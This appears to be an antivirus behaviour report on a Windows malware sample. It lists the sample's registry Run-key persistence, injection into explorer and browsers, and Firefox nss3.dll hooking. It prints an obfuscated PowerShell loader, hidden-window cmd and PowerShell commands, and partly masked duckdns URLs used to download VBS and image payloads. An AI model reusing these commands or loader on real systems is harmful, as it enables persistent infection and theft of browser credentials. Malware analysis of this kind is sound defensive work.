Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%APPDATA%\vbc.vbs '
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "C:\Users\Public\vbc.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vbc.vbs '
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$1rtf543fgdh=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,77,32,36,84...
Injects code into
the following system processes:
- %WINDIR%\syswow64\calc.exe
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\systray.exe
the following user processes:
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- firefox.exe process, nss3.dll module
Modifies file system
Creates the following files
- C:\users\public\vbc.vbs
- %APPDATA%\vbc.vbs
Network activity
TCP
HTTP GET requests
- http://dn############failedbymicrosoftthanks.duckdns.org/cd/vbc.vbs
- http://ca####.duckdns.org/at/Attack.jpg
UDP
- DNS ASK dn############failedbymicrosoftthanks.duckdns.org
- DNS ASK ca####.duckdns.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$1rtf543fgdh=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,97,108,32,77,32,36,84...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vbc.vbs '' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy "C:\Users\Public\vbc.vbs " "%APPDATA%\" /Y' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c copy "C:\Users\Public\vbc.vbs " "%APPDATA%\" /Y
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\systray.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"
